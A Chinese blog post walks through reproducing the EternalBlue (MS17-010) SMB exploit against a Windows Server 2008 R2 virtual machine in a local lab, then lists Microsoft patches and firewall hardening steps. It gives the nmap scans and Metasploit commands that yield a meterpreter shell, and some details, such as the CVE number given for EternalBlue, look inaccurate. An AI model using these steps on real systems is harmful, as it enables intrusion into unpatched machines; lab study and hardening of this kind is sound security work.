永恒之蓝(CVE-2017-0146)复现(超详细)
大家好,这是我来到CSDN创作的第二篇博客,我在进行实战模拟时跟大家一样,找到的教程,资料都是参差不齐,要么文章含金量不高,要么不详细,跳过了很多步骤,导致我们在实战复现的过程中,遭遇了各种各样的阻碍,但是我们在搜索相关报错信息时又找不到资料,整个安全圈的技术属于只对圈内开放,难住了很多想要入门的小伙伴,所以在此之后,我会将我自己的学习路线和每次实战的思路,以及遇到的问题,都写成博客,希望能够帮到
前言
大家好,这是我来到CSDN创作的第二篇博客,我在进行实战模拟时跟大家一样,找到的教程,资料都是参差不齐,要么文章含金量不高,要么不详细,跳过了很多步骤,导致我们在实战复现的过程中,遭遇了各种各样的阻碍,但是我们在搜索相关报错信息时又找不到资料,整个安全圈的技术属于只对圈内开放,难住了很多想要入门的小伙伴,所以在此之后,我会将我自己的学习路线和每次实战的思路,以及遇到的问题,都写成博客,希望能够帮到大家,也希望有大神来指导指导我,大家一起共同进步。
初识永恒之蓝
简介
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
原理
永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
SMB协议
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。深入研究协议的话大家可以去查看OSI七层模型,本章就不再赘述。
攻击方式
恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
本次黑客使用的是Petya勒索病毒的变种Petwarp,攻击时仍然使用了永恒之蓝勒索漏洞,并会获取系统用户名与密码进行内网传播。
本次爆发使用了已知OFFICE漏洞、永恒之蓝SMB漏洞、局域网感染等网络自我复制技术,使得病毒可以在短时间内呈爆发态势。同时,该病毒与普通勒索病毒不同,其不会对电脑中的每个文件都进行加密,而是通过加密硬盘驱动器主文件表(MFT),使主引导记录(MBR)不可操作,通过占用物理磁盘上的文件名,大小和位置的信息来限制对完整系统的访问,从而让电脑无法启动,相较普通勒索病毒对系统更具破坏性。
实战阶段
复现环境布置
靶机、攻击机、内网环境
靶机:Windows server 2008 R2 (什么操作都不需要,防火墙不需要关)
kali Linux、black arch Linux
永恒之蓝的编号
CVE-2017-0146
MS17-010
...............
攻击机,靶机准备
为了不影响网络的安全,我选择在本地使用Vmware虚拟机的内网环境进行实战复现,我个人是比较喜欢使用black arch的,但是考虑到大家的学习,我选择了使用kali来进行接下来的实战,我选用的靶机系统是目前还在使用的比较多的服务器系统,按照运维工程师的思维,一般是能不升级就不升级,补丁可以一直打,主打的就是稳定性的需求。所以目前使用这个系统来进行演示,在文章末尾会给大家说明遭受永恒之蓝漏洞的系统。现在让我们一起进入复现环节:
确定攻击机,靶机的IP
ifconfig ##Linux系统查看IP信息
kali Linux 2023 IP:192.168.137.186
Windows server 2008 R2 IP:192.168.137.111
ipconfig ##Windows系统查看IP信息
探测目标主机
我们只拿到了IP,但是不知道这台靶机开启了什么端口,服务,但是我们知道此次实验的复现是永恒之蓝漏洞,所以我们可以猜,也可以扫,我们先扫描看看靶机开启的端口和运行的服务。
这里我使用的是nmap扫描工具,我觉得它是很多扫描工具中比较好用的之一。
nmap -T4 -O -v -sV 192.168.137.111
参数:
-T4 ##设置时序模板,(0-5),您可以理解为扫描速度,越大越快。
-O ##操作系统的识别
-v ##提高输出信息的详细程度
-sV ##服务识别
扫描结果:
可以看到,靶机的445端口开放,连带着后面的服务:microsoft-ds,靶机系统版本。
我们现在根据已公布的情报,完全可以进行攻击了,但是不排除有些小伙伴说:既然要利用漏洞,那编号怎么知道呢?好,那我们就扫出来!
nmap --script=vuln 192.168.137.111 -v
--script ##使用脚本扫描
vuln ##使用常规漏洞扫描脚本
扫描结果:
我们在扫描到ms17-010,永恒之蓝漏洞编号的时候,可以确定该主机存在永恒之蓝的概率非常大,我们开始尝试攻击。
MSF漏洞利用
本次使用msf框架会使用到的命令:
msfconsole ##启动框架
search ##搜索
use ##使用
show options ##看参数
set ##设置必须项
run/exploit ##执行
查找相关漏洞
我们启动框架,进入msf操作台,搜索永恒之蓝
msfconsole
search ms17-010
这里我们看到第一个漏洞模块是可以使用的一个状态,我们使用它。
use 0
设置必须参数
要想设置这个模块的参数,我们要先查看这个模块的各项参数,我们只需要设置较重要的那几个就可以了。
show options
这里,msf操作台提示需要设置的参数只有一个:
RHOSTS 这个是目标靶机的IP地址
我们可以给它增加线程,但不能加太多,线程过大靶机容易宕机蓝屏。
THREAD 线程
我们设置好靶机的IP,分配好线程。
set rhosts 192.168.137.111
set thread 10
执行攻击
设置完参数后,执行攻击。
run
exploit
左边的[*]、[+]就是状态码,只要没有显示[-]基本是可以入侵成功进去的。
有少许情况会出现很多减号,中间有个FAIL字样的报错,一般不用管,如果黑不进去就更换线程数(我是这样就解决了,但是很明显只是碰巧,其他情况就不知道了)
看到这个控制台的弹出,说明成功进入靶机。
meterpreter >
ps ##查看靶机的进程
输入shell后即可获得目标靶机的命令运行环境。
shell
遭受永恒之蓝漏洞影响的系统范围
Windows XP
Windows Server 2003
Windows Vista
Windows Server 2008
Windows 7
Windows Server2008 R2
Windows 8.1
Windows10
Windows Server 2012
Windows Server 2012 R2
Windows Server 2016
加固方案
一、下载由微软提供的漏洞补丁
点此文字跳转,或在下列表中,精准查找:
①安装最新补丁,下载漏洞影响范围所有的补丁,并做好区分标识。注意事项:安装补丁前查看当前windows版本(“我的电脑”右键选择“属性”)
Product (Down-level)
Release Date
CDN Link
Security Update for Windows Server 2003 for x64-based Systems (KB4012598)
5/13/2017
http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x64-custom-enu_f24d8723f246145524b9030e4752c96430981211.exe
Security Update for Windows 8 for x64-based Systems (KB4012598)
5/13/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows8-rt-kb4012598-x64_f05841d2e94197c2dca4457f1b895e8f632b7f8e.msu
Security Update for Windows 8 (KB4012598)
5/13/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows8-rt-kb4012598-x86_a0f1c953a24dd042acc540c59b339f55fb18f594.msu
Security Update for Windows XP SP3 for XPe (KB4012598)
5/13/2017
http://download.windowsupdate.com/c/csa/csa/secu/2017/02/windowsxp-kb4012598-x86-embedded-custom-enu_8f2c266f83a7e1b100ddb9acd4a6a3ab5ecd4059.exe
Security Update for Windows XP SP3 (KB4012598)
5/13/2017
http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsxp-kb4012598-x86-custom-enu_eceb7d5023bbb23c0dc633e46b9c2f14fa6ee9dd.exe
Security Update for Windows Server 2003 (KB4012598)
5/13/2017
http://download.windowsupdate.com/c/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x86-custom-enu_f617caf6e7ee6f43abe4b386cb1d26b3318693cf.exe
Security Update for Windows XP SP2 for x64-based Systems (KB4012598)
5/13/2017
http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x64-custom-enu_f24d8723f246145524b9030e4752c96430981211.exe
Security Update for Windows Vista (KB4012598) - Windows Vista
3/14/2017
http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsxp-kb4012598-x86-custom-enu_eceb7d5023bbb23c0dc633e46b9c2f14fa6ee9dd.exe
Security Update for Windows Server 2008 (KB4012598) - Windows Server 2008
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.0-kb4012598-x86_13e9b3d77ba5599764c296075a796c16a85c745c.msu
Security Update for Windows Vista for x64-based Systems (KB4012598) - Windows Vista
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.0-kb4012598-x64_6a186ba2b2b98b2144b50f88baf33a5fa53b5d76.msu
Security Update for Windows Server 2008 for Itanium-based Systems (KB4012598) - Windows Server 2008
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.0-kb4012598-ia64_83a6f5a70588b27623b11c42f1c8124a25d489de.msu
Security Update for Windows Server 2008 for x64-based Systems (KB4012598) - Windows Server 2008
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.0-kb4012598-x64_6a186ba2b2b98b2144b50f88baf33a5fa53b5d76.msu
Security Update for WES09 and POSReady 2009 (KB4012598) - Windows XP Embedded
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windowsxp-kb4012598-x86-embedded-enu_9515c11bc77e39695b83cb6f0e41119387580e30.exe
March, 2017 Security Only Quality Update for Windows 7 for x64-based Systems (KB4012212)
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x64_2decefaa02e2058dcd965702509a992d8c4e92b3.msu
March, 2017 Security Only Quality Update for Windows 7 (KB4012212)
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x86_6bb04d3971bb58ae4bac44219e7169812914df3f.msu
March, 2017 Security Only Quality Update for Windows Embedded Standard 7 (KB4012212)
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x86_6bb04d3971bb58ae4bac44219e7169812914df3f.msu
March, 2017 Security Only Quality Update for Windows Embedded Standard 7 for x64-based Systems (KB4012212)
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x64_2decefaa02e2058dcd965702509a992d8c4e92b3.msu
March, 2017 Security Only Quality Update for Windows Server 2008 R2 for x64-based Systems (KB4012212)
3/14/2017
http://download.windowsupdate.com/d/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-x64_2decefaa02e2058dcd965702509a992d8c4e92b3.msu
March, 2017 Security Only Quality Update for Windows Server 2008 R2 for Itanium-based Systems (KB4012212)
3/14/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows6.1-kb4012212-ia64_93a42b16dbea87fa04e2b527676a499f9fbba554.msu
March, 2017 Security Only Quality Update for Windows 8.1 (KB4012213) - Windows 8.1
3/14/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8.1-kb4012213-x86_e118939b397bc983971c88d9c9ecc8cbec471b05.msu
March, 2017 Security Only Quality Update for Windows 8.1 for x64-based Systems (KB4012213) -Windows 8.1
3/14/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8.1-kb4012213-x64_5b24b9ca5a123a844ed793e0f2be974148520349.msu
March, 2017 Security Only Quality Update for Windows Server 2012 R2 (KB4012213) -Windows Server 2012 R2
3/14/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8.1-kb4012213-x64_5b24b9ca5a123a844ed793e0f2be974148520349.msu
March, 2017 Security Only Quality Update for Windows Embedded 8 Standard (KB4012214)
3/14/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8-rt-kb4012214-x86_5e7e78f67d65838d198aa881a87a31345952d78e.msu
March, 2017 Security Only Quality Update for Windows Embedded 8 Standard for x64-based Systems (KB4012214)
3/14/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8-rt-kb4012214-x64_b14951d29cb4fd880948f5204d54721e64c9942b.msu
March, 2017 Security Only Quality Update for Windows Server 2012 (KB4012214)
3/14/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/02/windows8-rt-kb4012214-x64_b14951d29cb4fd880948f5204d54721e64c9942b.msu
Most current Windows 10 cumulative updates - May 2017
Windows 10
2017-05 Cumulative Update for Windows 10 for x64-based Systems (KB4019474)
5/9/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows10.0-kb4019474-x64_4ed033d1c2af2daea1298d10da1fad15a482f726.msu
2017-05 Cumulative Update for Windows 10 for x86-based Systems (KB4019474)
5/9/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows10.0-kb4019474-x86_259adeed4a4037f749afab211ff1bc6a771ff7f6.msu
Windows 10 Version 1511
2017-05 Cumulative Update for Windows 10 Version 1511 (KB4019473)
5/9/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows10.0-kb4019473-x86_5e2b7bce2f1b116288b4f1f78449c66ecc7c7a53.msu
2017-05 Cumulative Update for Windows 10 Version 1511 for x64-based Systems (KB4019473)
5/9/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows10.0-kb4019473-x64_c23b6f55caf1b9d6c14161b66fe9c9dfb4ad475c.msu
Windows 10 Version 1607 & Windows Server 2016
2017-05 Cumulative Update for Windows Server 2016 for x64-based Systems (KB4019472)
5/9/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows10.0-kb4019472-x64_dda304140351259fcf15ca7b1f5b51cb60445a0a.msu
2017-05 Cumulative Update for Windows 10 Version 1607 for x64-based Systems (KB4019472)
5/9/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows10.0-kb4019472-x64_dda304140351259fcf15ca7b1f5b51cb60445a0a.msu
2017-05 Cumulative Update for Windows 10 Version 1607 for x86-based Systems (KB4019472)
5/9/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows10.0-kb4019472-x86_9bf106e898b57c20917cd98fd8b8d250333015a5.msu
Windows 10 Version 1703
2017-05 Cumulative Update for Windows 10 Version 1703 for x64-based Systems (KB4016871) -Windows 10
5/9/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows10.0-kb4016871-x64_27dfce9dbd92670711822de2f5f5ce0151551b7d.msu
2017-05 Cumulative Update for Windows 10 Version 1703 for x86-based Systems (KB4016871) -Windows 10
5/9/2017
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows10.0-kb4016871-x86_5901409e58d1c6c9440e420d99c42b08f227356e.msu
二、手工修补加固
这里就不给大家放图啦,大家看操作就好。
禁用服务器服务
单击"开始”, 然后单击"控制面板”( 或指向“设置”, 然后单击"控制面板”)
双击“管理工具”
双击“服务”
双击"Server"
在“启动类型”列表中,单击“禁用”
单击“停止”,然后单击“确定”
在防火墙处阻止TCP端口135、137、 138、 139 和445
Windows XP系统,使用网络安装向导启用Windows防火墙
单击"开始”, 然后单击"控制面板”
双击“网络连接”, 然后单击“更改Window防火墙设置”。
在"常规”选项卡上,确保选择了“启用( 推荐)”。这将启用Windows防火墙。
启用Windows防火墙之后,请选择“不允许例外”以阻止所有传入的通信。
Windows Server 2003系统,使用网络安装向导启用Windows防火墙
单击"开始” ,然后单击"控制面板”
在默认的“分类视图”中,单击“网络和Internet连接”,然后单击“网络连接”。
右键单击要启用"Internet连接防火墙”的连接,然后单击“属性”
单击"高级”选项卡。
选中"通过限制或阻止来自Internet的对此计算机的访问来保护我的计算机或网络”复选框
然后单击“确定”。
Windows Vista以上系统,使用网络安装向导启用Windows防火墙
点击“开始’,然后单击"控制面板” ;
点击"Windows防火墙”,针对Windows 防火墙进行配置;
点击"打开或关闭Windows防火墙" ,定义每种类型网络的防火墙设置;
针对专用网络或公用网络,打开或关闭Windows防火墙;
点击“高级设置”>>入站规则> >新建规则;
选择端口,下一步;
在特定本地端口,输入需要关闭的端口号445,135,137,138,139 ,下一步;
选择阻止连接,下一步;
配置文件,全选,下一步;
名称,可以任意输入,完成即可。
结尾
好啦,以上就是本章博客的内容啦,希望能给大家带来帮助(不喜勿喷),坚持一颗技术开源的心,让我们一起共同进步!!
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)